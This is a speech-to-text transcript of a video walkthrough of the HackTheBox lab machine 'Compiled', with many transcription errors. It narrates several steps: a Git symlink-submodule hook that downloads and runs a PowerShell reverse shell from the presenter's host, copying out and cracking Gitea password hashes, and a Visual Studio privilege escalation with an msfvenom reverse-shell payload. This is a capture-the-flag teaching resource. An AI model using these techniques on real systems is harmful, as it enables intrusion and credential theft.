text: what's going on YouTube this is IPC and today we'll be doing compiled from hack the box which the hardest part of this machine is probably the prives because most Windows privilege escalation involves misconfigurations or running processes this is vulnerable just because a piece of software is installed it's not running at the time of exploitation um it gives the users the ability to start a specific service which will run as system so in that sense it's kind of similar to a set uid binary on Linux but on Windows it's just really tough to find because it's hidden behind com objects and things like that but before we get there we'll have to exploit a web server which will run a recursive git clone against repositories we specify we can look at the user agent to see it's running a vulnerable version of git that is vulnerable to a cve that

title: HackTheBox - Compiled


text: states it's possible to abuse Sim links with sub modules on case insensitive file systems to write files in theg directory which can lead to code execution after that we'll discover the g t database and create a python script to dump the hashes in a hashcat format which lets us on the box as Emily and allows us to exploit visual studio so with all that being said let's jump in as always we're going to start off with an end map so- SC for default scripts SV numerate versions dvv for double verose so we get things like the TTL OA output all formats put the end map directory and call it compiled then the IP address of 101 1126 this can take some time to run so I've already ran it looking at the results we have just two ports open and because they're on odd ports and map's not identifying the exact service where we see Port 3000 and based upon this script output it's going to be a

title: HackTheBox - Compiled


text: web server since we see HTTP here we can also look at the response and it's trying to set the cookie iight g t so most likely this is the G web service which is like GitHub gitlab or something like that it's just a um code repository thing we also see a TTL of 127 so most likely this is going to be a Windows box if it was below 64 I'd assume it's Linux so most likely we are dealing with Windows here let's look at the next port and we see Port 5000 based upon the output this is most likely going to be a web server yet again and we see work Zug with python so I'm going to guess flask normally when I see this combo it is going to be flask TTL is 127 so this is a python web server running on Windows which is a little bit unique and we have a bunch of um HTML that I don't want to read so let's just go take a look at the two ports so I'm going to go to 101 1126

title: HackTheBox - Compiled


text: Port 3000 and then we also want to go to Port 5000 and on 3,000 we have g t if I go over to explore there are two repositories we have compiled and calculator if we look at compiled we can go to app.py and see yes this is indeed a flask web service and then we see let's see if the request is a post um it looks like it's going to edit a file and just write a repo URL there and and it looks like it must have HTTP at the start and get at the end so that doesn't make full sense to me right off the bat but if we check the actual web service it may right so we can look at this the web server is welcome to compile your One-Stop solutions for code compiling in C++ c.net and.net and we just enter URL so if I do HTTP 10 1048 um I should have that there right it just refresh the page um and I was zoomed in so I couldn't see invalid git Reaper it must begin with HTTP and end with doget so let's put

title: HackTheBox - Compiled


text: a.get here and I also want to do pseudo NC lvmp on Port 80 and then submit this to see what reaches out to us because based upon this code all it's doing is writing the repo URL over to a text file we don't see anything in this code of it reaching out to us so there probably a Chron job that goes over this um file and then sends it over to some application that reaches to us so that's why I want to do this netcat because we can look at the user agent and identify what's coming at us is it curl is it python is it something else so we're just waiting for that to hit while we do I guess we can look at what else is here we look at the read me we could see just what um it talks about accepts GitHub repository URLs supports that doesn't really say exactly what's going on under the hood we do have a important note that is

title: HackTheBox - Compiled


text: telling us um ensure Visual Studio code is updated to the latest version so we know Visual Studio is running on the back end somewhere here that may be important later down the line I look at the calculator it looks like this is just a simple program doesn't really give us that much information um looking at the installation instructions it's potentially leaking the Git Version of Richard we see 2450 Windows 1 so that may become important to us right um looks like the web server finally reached out to us and we see the user agent is also git 24501 so since git is reaching to us let us see if there's any known exploits for this Git Version so I'm going to go over to Google I'm just going to Google um that user agent and then exploit and we get a blog post right off the bat it's also a GitHub post of that but let's just read the blog post and this actually took me

title: HackTheBox - Compiled


text: some time to understand so if you don't understand exactly what's going on don't feel stupid like it took me probably an extra like two hours to just walk through this and fully understand it I'll do my best to explain it in 5 to 10 minutes but you may want to um work walk through it yourself to fully understand what's going on here since it's not intuitive at least it wasn't intuitive to me so with that disclaimer let's just get on with the blog post it starts out by the author saying on his security feed he noticed there was a new RCN git that could be triggered through a git clone command now I think you need the recursive options to download subm modules but regardless the get clone should be a safe thing to run because um this is how you get the code from the reapo down to your box no one expects

title: HackTheBox - Compiled


text: there actually to be a way to execute code this way and a lot of projects will tell you just to run with the recursive flag so you download all the dependencies as well such as like um net exec famously does this because you want to download the net exec code and then impacket is a subm module and you need impacket to compile net exec so that's the whole purpose of the subm module so someone can just reference another get project in theirs so um looking at it the basic reconnaissance around finding out what's going on um let's see the official advisory let's look at exactly what this is so we see repositories and subm modules can be crafted in a way that exploits a bug in Git whereby it can be tricked into to writing files not in the subm module work tree but also the git directory this also allows for writing a hook that will be executed while the Clone operation is running so normally

title: HackTheBox - Compiled


text: these hooks are local if I create a post commit hook and then commit my repository or commit my changes to the repo it doesn't upload my hooks to the repo that's just something I can do locally so if we can trick get into wrting to this file then when git is running we can just say hey now there's a post commit hook and it will just autom automatically trigger that commit hook so that's essentially what the advisory is saying right and it looks like one of the workarounds they recommend is disabling Sim links so we know a Sim link is required in order to exploit this now looking at it under the hood let's see what else there is um here we go it looks like this may only trigger on file systems that are case insensitive like Windows and Mac OS so this is somewhat inter it's a somewhat common bug um class that affects a lot of programs that mainly run on Linux but also have a Windows

title: HackTheBox - Compiled


text: component because you can trick things into going into directories that um just aren't possible on Linux because Linux is K sensitive so what's going to happen here is we have this directory called a and this is where we're going to write our subm module right but we make a Sim Link at directory lowercase a and then point this over toget so in Windows when it goes to write this directory it follows this Sim link which is pointed toget and starts writing into the projects. git instead of the new directory on Linux it's not affected because um both these directories can exist simultaneously but on Windows they can't because the file system's not case sensitive so with that being said let's just go keep reading um he looks at the change log so let's just go pull up this commit I'll go to the link so it's in dark mode which makes it a a bit easier to read you could read this description here but

title: HackTheBox - Compiled


text: essentially all this is doing is checking if the the directory they just create is empty if it's not then they're going to exit um let's see that's clearly shown right here I wish um let's see if I make it smaller is a bit easier to read I don't know but um this is one of the new things added um directory contains only.get goes in says not empty so what this is doing is saying hey we had just created the capital a directory why does it have files in it if it does then most likely the directory existed beforehand and we should exit because a directory we create should be empty so that is the fix in place in summary uh let's see what else do they do new functions this is going to be the test case so this is a test case that's put in it's a unit test so um they essentially create the exploit put it in as like a cicd type of thing so anytime they build get it

title: HackTheBox - Compiled


text: reruns the exploit to make sure it's not vulnerable and this ensures that the vulnerability doesn't get reintroduced at a later point in time which is a pretty cool thing to do but also it makes reversing it somewhat trivial because they put the PO essentially in the git repo right um I'm not saying they shouldn't do that this is a really great way to identify um if the vulnerability ever gets reintroduced but this is how the author of this blog post kind of reversed it and this is what they're talking about here so they're explaining what all these um Global configurations do is they're just making sure git will follow Sim links and um this protocol file always allow I don't know exactly what this sets but here they're setting up the hook repository so they go into it they make the directory y hooks they write a script into it just seeing if a

title: HackTheBox - Compiled


text: path exist and then they add it and they create this local file now they're going to set the main repository so they go in they add the subm module of their hook they commit it now they're creating a um doget and they're going to Hash it and now this print F I think this is probably just writing it in a format that get understands but this is saying hey this directory a is really a Sim link and it's going to point tog they update the index so they take the file they wrote to they tell get to um addit into the index of.get and then they commit so I know I walk through that pretty fast but it may make more sense as we walk through the script yourself and make it right so I'm going to go on my box we're going to make a directory called Reapers right and I'm just going to start off by going to g t let's register an account and then add it here

title: HackTheBox - Compiled


text: right so I'm going to do root atp. roxs we'll do a password of password and the reason why I'm doing this is um we have to point the website to something that host a get server right I don't want to stand up G or gogs locally because that's just extra work I can just use this G repo and then point it to this when I'm done right so I'm going to create the new repository and I'm going to call this the hook I think that's the right name for this we'll find out hopefully it doesn't make things confusing down the line and then let's get clone this repel so we can go in here and now let's take a look at the script real quick um where was the blog post here it is so we don't need to do the knit because we already did it based upon on um cloning the repel so it's make the hook so we'll do make dur y Hooks and

title: HackTheBox - Compiled


text: now it's creating this post checkout file what we want to do is run code so I'm going to have it run Powershell so let's do um let's see what do we want to run we let's just edit this file real quick I'm still going to going to do bin bash which I know is weird on Windows but I'm assuming this is running git bash because most of the time when you run git git on Windows comes with its own like bash interpreter so I'll still leave this here I can do Powershell and then new object net. web client download string HTP 101148 we run on Port 8000 call it rev.

title: HackTheBox - Compiled


text: PS1 so this should now EX our Powershell that looks good to me and then let's make this executable so we do Cod plus X on this so we're right here so we what we want to do is a get add to add the file and then we push it so we'll do get add I'm just going to do a period to add all files get commit uh we'll do create hook module I guess get push we'll do the username IPS SEC and the password of password so now we have pushed this to the repel so if I go refresh here we have our hook repel so now let's go ahead and create a new one and this name is Captain I guess they did it because like Captain Hook as a meme right so we'll create this and they're going to clone this so we'll do a get clone on Captain we can go in here and and then let's take a look at what they're doing in Captain so they initialize it again okay

title: HackTheBox - Compiled


text: we're going to do a get some module ad and then the repo path so we do this and the hook repo path we're going to put as um let's see this and then it was SL Hook was the name of the module okay so we have added that so if we look what happened um that adds the directory capital A if we go into a that's going to be or a modules we have XY Hooks and then that's where a PO checkout is right so that creates that sub module so we're back into the captain directory which is the parent of git so let's see we do get some module ad um we don't need this commit here we can just create the Sim link cuz we're doing another commit down here so we want to print f.g to.get do text so all that done was put this here the reason why I think they use print F not Echo is because Echo would put that line break in there like if we did echo.get to test and we C

title: HackTheBox - Compiled


text: test there's a line break in that file so that's probably why they just use print F they could do like Echo dasn there's no real difference between that um then we're going to get hash object and they say from standard in so all they're doing here is hashing um the file right they're going to do that and direct it to uh get org get. so we create this file and now we're doing this print F command again so let's see exactly what this looks like before you write the file I'm going to write um 120,000 and then the GI hash zero I think maybe this is revision and then lowercase a this I believe is Sim one of these means Sim link andg lingo right so all we're doing is um adding a Sim link to this so we can do get update index add this here and because we added it I don't think we need any of these

title: HackTheBox - Compiled


text: files anymore I really hope we don't because I'm going to go ahead and delete these uh we don't need index. info as well because we added it to um or get a file right that's my understanding right now we can do get commit get push okay so now we just have this and if we look at this we do have a create mode 12,000 so this is probably Sim link on a and we can't see it in our directory yet if we try to clone it so I'm going to go make demp we'll go EMP and let's go ahead and clone this repo so we'll do get clone recursive and this isn't going to trigger the exploit again because I'm on Linux so it's a case sensitive file system right but this is what really clicked for me in understanding what went on so if I go into Captain I have two directories I have lower case a and uppercase a and if we look at lowercase a it's pointed tog so so what happens

title: HackTheBox - Compiled


text: here is when it goes to write the sub module of capital A it actually directs it into lowercase a which then is theg of The Parent Directory and now we're writing into modules x y and then if we go into hooks all these are samples right if I g-v sample um there's no file but but since uh the windows will be case insensitive it will actually write the post commit file we had into this directory on Windows which then will trigger git to execute it so let's prove that real quick so I'm going to uh make a directory dubdub duub and I'm going to copy user share Nang shells because what we did right now is our Powershell command will only execute a file that's on a web server so so we need to put that file there I'm going to do ins um Powershell TCP online. PS1 call it rev. PS1 and let's edit this real quick uh whoops did not mean to delete

title: HackTheBox - Compiled


text: everything here we go and then I can do 10 10 14 8 and we'll do Port 90001 awesome so we can do Python 3 and HTP server and we can say RL rap NC LV NP 91 so let's go to the web server again and we'll say go clone this repel so now it's probably going to take a minute or two I'll just sleep for 60 because if this sleep finishes we know we probably did something wrong but when it clones this repo hopefully it will then reach out to our web server which then will trigger us to get a reverse shell down here and let's see while that goes I do want to look let's go back into um Reapers hook and did I have all these files here I think I screwed something up it doesn't matter um because the captain is this so let's go into y hooks post checkout let's see Power shell new object download string this looks

title: HackTheBox - Compiled


text: correct so I guess we will just wait to see if we get anything in a minute and unfortunately nothing came back so we screwed something up which which is not a good thing uh let's see um I say not a good thing in a laughing way because I don't know get that well of all the arguments and I don't know exactly how to update a sub module off the top of my head so we're going to try out um what I'm doing here is cleaning up where my reapers are located and let's go in our post checkout this is marked as executable yes it is um I'm hoping Ben bash is correct so we have two potential things maybe we want B sh and not have this at all and also maybe this entire thing needs to be in a quote um so instead of working with that I'm just going to make this a encoded command because uh Bas 64 fixes a lot of

title: HackTheBox - Compiled


text: just bad character type problems so what I'm going to do is do Echo DN we'll paste this make sure that's exact what we want new object net web client download string and that looks good I'm really hoping we don't have any tyer that I'm missing we want to convert this to UTF 16 little endian and then we base 64 w z so now we have our hook or our Powershell and I would really wonder if I should make that a double quote um I think it's fine so instead of this ex now we can do- ENC for encoded command and then just paste that and there were no equal signs right nope I am good that looks still fine to me so we can do get add dot get commit um change Powershell hook or whatever we want to call it get push okay and now we want to go into the captain and then I'm going to do get some mod module update did that update my modules do we

title: HackTheBox - Compiled


text: have to do like a remote merge command there we go that looks better so we can do get add dot get commit update sub modules I probably shouldn't delete a um let's go back and add a so we will add this back in get commit oh we did the get commit get push there we go we have all these files still um after it works then I'll delete it so we know if these are needed or not but looking at the captain repo hopefully we still see a as a Sim link We Do looks good because if we go there that should just say do get so let's do this again so we'll say hips captain. submit looking at our python we can do the Sleep 60 again and hope it runs this time so we just got to wait oh there we go um almost immediately we get this awesome so I do want know if we need those extra files so I'm going to delete this we will cancel this

title: HackTheBox - Compiled


text: out and then let's see I'm going to remove doget doget doget and index we can do a get RM I think uh that file doesn't exist do the files not even exist in the repo oh they don't exist so um yeah they are not needed awesome so we could delete these but since they're not on the website uh we never even committed them so those aren't needed at all now let's go back I think I exited my shell unfortunately I did start this up again run it and it probably takes like 15 seconds to run we can do a sleep 15 or maybe I just got lucky We R near the end of the minute last time but um let's just wait for the shell and think about what we want to do once we get on the box I'm going to guess that um because G is running we can probably go into G's database and then um access what is it like the SQL database and dump users right because if we look at

title: HackTheBox - Compiled


text: get T we can see there are users on this box right we know this is our stuff let's see how do we do users we click user oh I was hoping it would do like user zero or something but when we weren't logged in we did see Richard had a repo right so we know Richard exist there's probably a way to enumerate um users on get I'm just not seeing it let's see Milestones explore these are just all the repos if we go to users we have ipac Richard and administrator as users so there's two users on this box other than us so we want to try to find exactly where that is and let's see um going to go up to directors real quick we. getet and this is showing exactly what happened right when on my Linux box we had a capital A we don't have a capital A here because lowercase a exist right it's case insensitive I try to make this directory do a DI it doesn't make it because again it treats

title: HackTheBox - Compiled


text: that as lowercase a so hopefully the expl made sense like because we Sim link a to B.G when it goes to write the subm module in capital A it actually writes it in the dog directory because of that Sim link so uh let's see we go here is user. text here um maybe not let's see where would g t be it's probably going to be in maybe app uh this is the python app let's check program file so we'll do program one and let's see roxom get and get T sweet so we go to get T then it's probably going to be under data I would think there we go we have the get database I'm going to go into Data we're going to copy this over to our box so let's make a directory called uh SMB and I'm going to try copying it over um impack it first so do impacket SMB server and let's see we need probably the share name the path and sb2

title: HackTheBox - Compiled


text: support to support share name I'm just going to call it share and we'll share this directory out and let's see can we copy the database so we'll do copy g. DB 10 1048 and then share we'll call it g DB and it looks like we can so the file says it's copied we look and we do have it so if we do SQL light 3 GDB then dump we get a lot of information so this GT database has a lot of value um data in it so what I'm going to do is I think schema and then let's do user and see let's see there's a lot of user tables if I search for password we see there is a table called user let's look at what we want probably we got name name is probably good good email is also good I'm going to use name let's see let's make a new pan we'll send this to that pane I want to this okay so I want name see the next thing we have past WD that sounds

title: HackTheBox - Compiled


text: good uh past WD hash algo sounds good anything else so the default pass WD algo is Aron 2 login type login name maybe we should do Logan name instead of name uh let's see salt probably is good and I think that's all we need right so we can do select copy this from user and we have data so I'm going to change some things around so we'll do PD last do salt passwd like that there we go so we have the username administrator this hash then this is the salt and then this is going to be the password so what we have to do is find a hashcat format that works with this and this is probably going to be like iteration count and I don't know exactly what 50 is we could probably just Google that to see what all the fields mean if we go to both of these Pages let's see okay so we have the password the salt and probably derived key length is what 50 is I'm

title: HackTheBox - Compiled


text: guessing I don't know if that's going to be important or not so yeah pass WD salt iteration count um we got hash function that's not shown there uh derived key length is 32 I wonder if one of those fields was like a hash function did we see that uh we can search for salt so let's see I don't see anything of like a hash function token hash that doesn't sound right so we don't know exactly what that is but let's go to Hash example hashes I always like Googling hash cat. examp example. hases because I like this table that shows um old versions of hashcat used to be able to do that but nowadays um we do example hashes maybe it shows on my box CU so no it's kind of oh it does this is a decent format uh let's see if I go to the Kraken hash cat example hashes it just changed the format a little bit

title: HackTheBox - Compiled


text: I like looking at a table more than I like looking at it in that list view so let's search for pbkdf2 uh WPA it's not going to be that we don't have true Crypt uh we could search for like g t first but g t doesn't pull anything I don't want to type it because then I go back to the beginning uh grub two probably not Cisco no Jango no and then we have some generics we have um it for sha and then if we look down below we have md5 sha 1 Shaw 512 so we got to know which version of this it is the easiest way to do that I think is just go to G's GitHub and then look at the source code because this is open source if I go to the G repository we can just search for pbkdf2 and see what it looks like um that was interesting as well we could see the other algorithms it supports in this file it looks like I'm just curious what algorithms so it could either be bcrypt scrypt ergon 2

title: HackTheBox - Compiled


text: or pbkdf2 okay so what we're looking at here is the hasher and it takes the iteration and the key length so we know that um last field is just the deriv key length but if we look at example hashes we don't have the drive key length at all here so um that's probably not important to crack in what we want to do is see if it's sha and if it's Shaw is at 256 or 512 do we have sha anywhere oh we're importing Shaw 256 so we know it's going to be a sha 256 hash so that's what we need to create and looking at this this looks like it's hex to me just because I see all hex and if we look at the hashcat examples this looks like B 64 so what we want to do is um create these hashes and B 64 format and we could easily do that by just doing like sha 256 uh five or is it 50,000 or 500,000 50,000 so add one more zero and then we want to what is it like

title: HackTheBox - Compiled


text: eo-n xxd d r-p Bas 64 w0 would that do it um let's just run this command so that's probably going to be what it wants for this user right and we could walk through that doing each of these and mainly doing all the users here but I want to uh create a python script to do this and I know most of the time I have been using go to do these things but most the like um format to Hash a format to John is always python so that's why I'm going to just use Python here so let's do I'll go in SMB just because that's where the g t repo is and we can touch uh what do we want to call this um I'll call it g t to hashcat dopy to hashcat dopy if you want to do this in go Lang uh we interact with SQL light and go on I want to believe say it's the machine Lantern so I'd refer back to that video if um you want to do that it shouldn't be hard to um convert

title: HackTheBox - Compiled


text: so we'll import SQL light 3 and let's do this in visual studio just so we have C- pilot helping us a little bit there we go so we import sqlite 3 uh we we want base 64 as well and I'm going to import Cy as well so we can say um if Len cy. RV is not equal to two that looks good we can say now try and we want to connect to the database so we'll say connection equals sqlite 3. connect CIS RV and we want to add more rows to this so what were the rows we did name s password from user we'll copy this put this in cursor fetch all so we'll say name is row zero and we want to say if pbk df2 in let's see this is going to be row two don't want that we'll say ELO iterations key length is equal to row to split that maybe I don't want Copilot co-pilot looks like it's messing me up um let's see aligo is now equal to sha

title: HackTheBox - Compiled


text: 256 because that's what hashcat wants right we want to say sha 256 colon then iterations and then salt and hash okay we can say else and then we'll raise the exception of unknown algorithm fine let's do accept exception as e wonder if we need a use string here we'll see what happens okay so salt I don't need to do that split right what we want to do is read the bytes from hex row two and then pass WD the same thing but Row three because this is row 0 1 2 3 okay so now we want to base 64 so we'll do salt b64 is equal to that's fine pass WD that's good and that should be fine name algo we actually don't do key length okay let's try this Python 3 get T get tdb unknown algorithm let's do colon plus row we'll say Al go or it's actually row two which should be Row one there we go so that's all good um but for hashcat normally this is the only hash

title: HackTheBox - Compiled


text: we could do the Das Das username and have this so if we wanted to improve a script a little bit um instead of using CIS we could do ARG purse and then say parser is equal to that's fine add argument let's now add dasu D- username action is equal to store true then help include username and output awesome add argument we're going to say file name get to database file and we want to tell it's a type of string okay we can get rid of that and then say args is equal to parser do par args and then we replace this ARG V with args file name and then down here we can say if 's username is true we print then the name colon and say end is equal to nothing okay we don't have CIS anymore we can just exit one I guess so we run this actions true do we not do spaces oh I think stor true is in quotes there we go so if I also add Dash you we should have

title: HackTheBox - Compiled


text: got that what went on there that should work right Ren we're never going into this oh because I put the U way early I was giving the you the argument of python not the argument of the script there we go so now we have a good script right we can either just get in hashcat format or we can add- to include the usernames as well well so I guess the final thing to do real quick is see what happens if we don't give it a valid file no such table so let's fix that real quick after we purse the args we can say if not OS path is file and then we want to import OS why do we continue file name that not save that's weird oh get T.D exist I don't know when I created that file if we delete that file then run it we get the file not found error awesome so let's copy this and I can go over to the Kraken now

title: HackTheBox - Compiled


text: which is just a box of my local network say VES I'm going to call it compiled we can paste all these hashes in and then we can say slash cat say D- username so hashcat knows we're adding the usernames to the file um give it the file path and then we'll use the rocky word list and it's starting we'll see if we get anything right away let's see um H status how fast is this running oh we got one hash um so I'm going to quit real quick and then let's just see what hash we got so we'll delete that we can do das Das show and we see Emily's password is 1 2 3 4 5 6 7 8 so we'll copy this we'll run it again so we have hashcat running while we work but we can do V creds and then we have Emily and her p of 1 2 3 4 5 6 7 8 and let's see um I'm going to check if um when orm is up so do netcat zv 10 10

title: HackTheBox - Compiled


text: 11 uh 67 what was the IP 27 26 uh less n map compiled n map 26 so we do NC zv 101 11 26 and then 5985 I think and 59 uh 85 I guess so this is winrm n map didn't show this because um it's not on the top 1,000 ports but it is up so we should be able to do evil winrm to see if we can access it uh we'll do- I 10 10 11 26 U Emily P 1 2 3 4 5 6 78 we could also have went on a shell done net st- and then saw the port listening this way we could also use a tool like run as C to switch a user over to Emily so there's a lot of things we could have done but let's see if our um when RM worked and it did so now we are Emily on this box and the prives between Emily to administrator is relatively hard to find because it involves exploiting software that's installed on the box that isn't listening on a port and not currently running so it's relatively hard to find but if we think about it there was a lot

title: HackTheBox - Compiled


text: of talk about like having Visual Studio like this is compiling something with Visual Studio we look at one of the notes it says like keep Visual Studio up to date like there's a lot of talk about Visual Studio but we haven't really encountered it like when we give the um repo to this application uh where is is the app right here like it says it's being compiled but we never actually exploited Visual Studio it just used get to clone it so if we look we can see Visual Studio is installed we look at um program files let's see dir we have to do c colon just back prog one we don't see Visual Studio here but if we do progr 2 we have Microsoft Visual Studio so we can see it's installed um additionally if we ran winp or something like that it would highlight Visual Studio is installed as well but if we go to Google now and just say um let's see

title: HackTheBox - Compiled


text: identify visual studio version and see if there's exploits here if we go to this stack Overflow page I think it will tell us right um right here we run this command so let's see if this works for us we can copy paste and let's see does not look like that wants to run let's see let's just go in the directory real quick progr 2 CD micro soft uh Visual Studio dir see what's the directory installer and then we want vs wear.

title: HackTheBox - Compiled


text: exe can we execute it okay we can um I don't know what all these arguments were the property catalog let's see if we give it these arguments now does it work it does so I'm guessing it was something with like specifying the full path and confusing poell but we executed it from this directory we can see version 1610 is running so if we look for visual studio cve 1610 to see vulnerabilities let's go to the page we see a few privilege escalations and there's three cve I'm going to choose this bottom one first because this has red and red means bad so if we just look at this it doesn't really give us much information so I'm going to go over Google search this and maybe add exploit to it I don't know if we need exploit it's just something I like adding we have a repo here and a post from MD secc

title: HackTheBox - Compiled


text: let's just clean up some tabs to keep things clean while we look at this okay we could clone and just run this repo um we need a Windows machine to compile this you can probably compile it on Linux but I had some trouble so we'll switch over to Windows when the time comes and start going over this blog post and I don't fully understand everything that's going on here I will sum it up to the best of my ability and then we'll just go ahead and run the exploit so this starts off with them looking into a specific binary the standard collector service.exe and the reason they were looking at this is the service itself is a demand start and that's the service name right there the vs standard collector service 150 and because it's demand start that usually means there's some special way to get this service started and it's normally

title: HackTheBox - Compiled


text: IPC which is interprocess communication I believe and they access this through com which I want to say is component object model essentially think of it as a way of like a set uid binary right as a local user we can ask Windows to do something and windows goes oh in order to do that I need to start this service and I'll start it as local system so this is a way for our user to run this program as local system and if we find a way to exploit this program then we can suddenly become whoever is running by it so that's why um even though this uh Visual Studio isn't running on the box currently doesn't have a port open uh we can still exploit it right because we can exploit one of the components it uses that always will just run as system so think of it as like a set u ID binary I guess um so right here they're using procmon to examine exactly what this binary does

title: HackTheBox - Compiled


text: and looking at it they see it is writing in C in Windows temp and normally this is a really good sign because standard users authenticated users can write into this directory so if we do something like create the directory it writes beforehand then we'll have ownership over that directory and then files it drops in there we'll be able to just control because we own the directory right we could create things ahead of times and that's what it's talking about here but unfortunately for us after it creates the files it will reset the permissions so we don't have ownership additionally it creates the files with this delete on close flag that means the file will just be deleted soon as this handle is closed and we can't get a hand to the file as it's already open so um it's not exploitable here and this is one of the things like At first read I found confusing but I really do like it

title: HackTheBox - Compiled


text: because they're talking about all the paths that don't work and why they tried other things which I think a lot of research kind of Misses but if you don't understand the exploit to begin with reading about all these things that don't work can be somewhat confusing but let's just keep going on right so this is where they're talking about the protection mechanism and preventing us so digging deeper they notice we could um specify some arguments when we call this vs standard collector service most importantly the scratch location which is going to set an output directory and I believe after it runs it will copy the results of that over to the scratch location and then change the ownership and this is important because it's not deleting the files afterwards so we set the scratch location it does it and then

title: HackTheBox - Compiled


text: writes and what they're doing after that is when it writes they're going to create a junction point which is like a Sim link for directories and see if they can trick the change ownership to a different directory because if it attempts to write to a scratch location and we point that location elsewhere then it's going to change the um file access list for that unended file and that's what they're doing here they see the set security file and I believe it is exploiting right they see the open rep purse and then it's changing it to read write delete essentially so it looks like they have a primitive and right off the bat they wanted to just change print config dll which is in system 32 a lot of just file right Primitives just utilize a binary in system 32 because if you can overwrite it chances are systems going to be able to execute it right however there is something that prevents it the um Parent

title: HackTheBox - Compiled


text: Directory of the file you need needs special permissions in order for it to trigger the rewrite and because system 32 is a more privileged directory you can't just change the Privileges to that however we can affect things in program data and the first thing they do is use a common um exploit primitive of the Windows error reporting service but that is patched on windows so this one didn't work they're just talking about it and right here they see um the Microsoft team could not do it because they were using The Insider version which this service was patched so they used a different exploit primitive which is MSI repairs so they can trigger the MTH compiler exe to run inside of this directory if they do something special and they can use the exploit previously to change the ownership of this

title: HackTheBox - Compiled


text: directory to themselves which will let them rewrite this Mo compiler binary to be anything they want and then when they trigger a um I think a reinstall or a repair to happen on this program it runs the repair as system and then executes this binary which we replace to be anything we want which is going to be a reverse shell in our point and we get code execution so they're kind of summing it up here we create a dummy directory in which this write files we create a junction which is a Sim link that points to a new directory we trigger it we rate for wait for the scratch directory to be created we stop the diagnostic we create a junction Point switch and then we point the junction point to be C colon program data Microsoft so that's going to be what changes the access control where we can delete files we run it again then we take control over this MF compiler exe

title: HackTheBox - Compiled


text: and and then run the setup wmi provider and repair mode which then will execute this binary so that's essentially what's going to happen right and we're going to switch over to Windows and run this program and I already have it pulled up on my windows and I just cloned the repo I haven't made any changes yet I will zoom in a little bit because we do have to make one change we have to find exactly where it overwrites that moth compiler um file and then replace it with a file we want right so right here it's generating the temp directories um if we look at what gen temp is it's just going to create a uuid and give us A New Path so that's not too interesting to us let's see um there we go find file we're creating the directories we need we're going to create the file it's going to um set the Junction point to program

title: HackTheBox - Compiled


text: data Microsoft and then it's going to do a create file and we call it with delete so right now we're trying to delete the moth compiler exe file and if we can we have deleted it and then we run this start wmi MSI let's see oh here we go the replace so we look at what replace is and let's see we create file file action there's got to be something I'm missing oh right here in the CB1 so right here this create lock file we do H follow 2 which is MF compiler and then we're passing it CB1 which is going to move cmd.exe so we don't want to move that we're going to do program data and they're going to call it shell.

title: HackTheBox - Compiled


text: exe so that's all we do so now it's going to copy shell. exe over top of moth compiler so let's build this you want to change over to release mode rebuild solution and then it's going to copy it in let's see this directory so we have this exploit let's go back to parot and I'm going to see if we can easily copy this um let's go in SMB pseudo impacket SMB server smb2 support share PWD and what is my IP locally grab this hopefully this is on the same network share awesome copy the exploit over switch back here and we want to go back to this and let's see we want to go in program data and we can copy 10 10 148 share x.exe to this directory does not exist let's see maybe it's a capital E is that K sensitive on Linux looks like it is it's taking longer so I assume it's copying and we'll also have to um

title: HackTheBox - Compiled


text: build a reverse shell so let's do msf Venom uh- P I think it's like Windows x64 and probably reverse shell TCP I believe um L host is equal to 10 1048 L Port 91 formats exe and output file we'll call shell.

title: HackTheBox - Compiled


text: EXE 10 10 148 share did not copy maybe it's shell uncore reverse TCP I always get these somewhat mixed up I think it's this because shell slash would be all the types of shells we can send there we go yep so we have it so we can copy this and then let's try running the exploit uh first make sure we listen on 90001 run the exploit and we see we can't start a process so something was wrong and if we go back to the blog post let's see go all the way to the top we try this SC exe QC we get access denied they're able to access this and I forget exactly what box it is but when we access a share like we're in a odd context we're as a remote user and we have to be a local user on the box or something it's just the type of shell we have that is screwing up our ability to run some commands I wonder if this shell can nope

title: HackTheBox - Compiled


text: we can't um so what we want to do is run as CS to switch our context to be um local so I'm going to do locate run as cs. exe do I have it on this box um yes I do so let's just copy it out of Shar collection this should be fine CP this to the SMB directory uh I don't know if that's it actually I don't like that it begins with an underscore that is odd uh GitHub run has cs. exe maybe we can just download it real quick they have a compiled version on this GitHub looks like they do awesome download the zip htb uh what do we call this Bo compiled there it is save 7z X unzip it move run as cs. exe to SMB and now let's download this file so we'll copy this 10 10 148 share RS to our directory and then once this is copied we will be able to um execute run as cs. exe Emily password is 1 2 3 4 5 6 78 I believe we say

title: HackTheBox - Compiled


text: powershell.exe 2 101048 91 okay so now we have a shell here I want to do RL WP I just like being able to clear the screen run this again awesome so let's copy this command again and see if we can run it can't run it through winrm but we can run it through um The Run SCS so we just got a few extra privileges so we can do program data and let's try running that exploit again so .exe make sure we're listening on 90001 and still can't start process so something is wrong is it doing the same Junction every time for BB 662 no different Junctions maybe poell is dropping some privilege uh let's see instead of doing that let's just tell run SCS to ex uh to run or exploit directly we try that if this works then I'll probably like try it through CMD nope can't start the process still so something is going wrong

title: HackTheBox - Compiled


text: it's creating these directories we can see all these Junctions get created it just can't start the process so it's failing soon as it creates this which is bizarre huh let's go and see what the program is doing so that error message was cannot start process so what is it trying to do so doing create process and let's see that session ID says the file we create that looks fine oh CMD CMD is the process name uh where's CMD set okay it's a global oh there got to be like x86 right we're not in uh program files and I think this was 2019 let's see Di we do progr one this will get the first one there is no Visual Studio directory here that is in two right Microsoft Visual Studio see rogo one let's just make sure this doesn't exist nope and it is 2019 so we want to make sure that's x86 and 2019 so x86 2019 so it's probably failing to

title: HackTheBox - Compiled


text: start because it couldn't find the file and that may be all we need so let's build this rebuild go back to our share we see it succeeded so copy this exploit replace that's good let's go back to parot and we'll do a copy 10148 share x.exe should overwrite this and I'm going to run it from this session um and I don't expect this to work because we're not interactive right that's what run SCS is doing is making our process marked as interactive um we'll see if that's actually a requirement running the exploit it's taking longer that's probably a good sign not printing anything but we're not getting a shell oh there we go uh let's see Junction Sim link started cannot execute oh command to execute but we didn't get a shell looks like it worked I wonder if it can't execute this command because um it's not interactive let's try executing it here

title: HackTheBox - Compiled


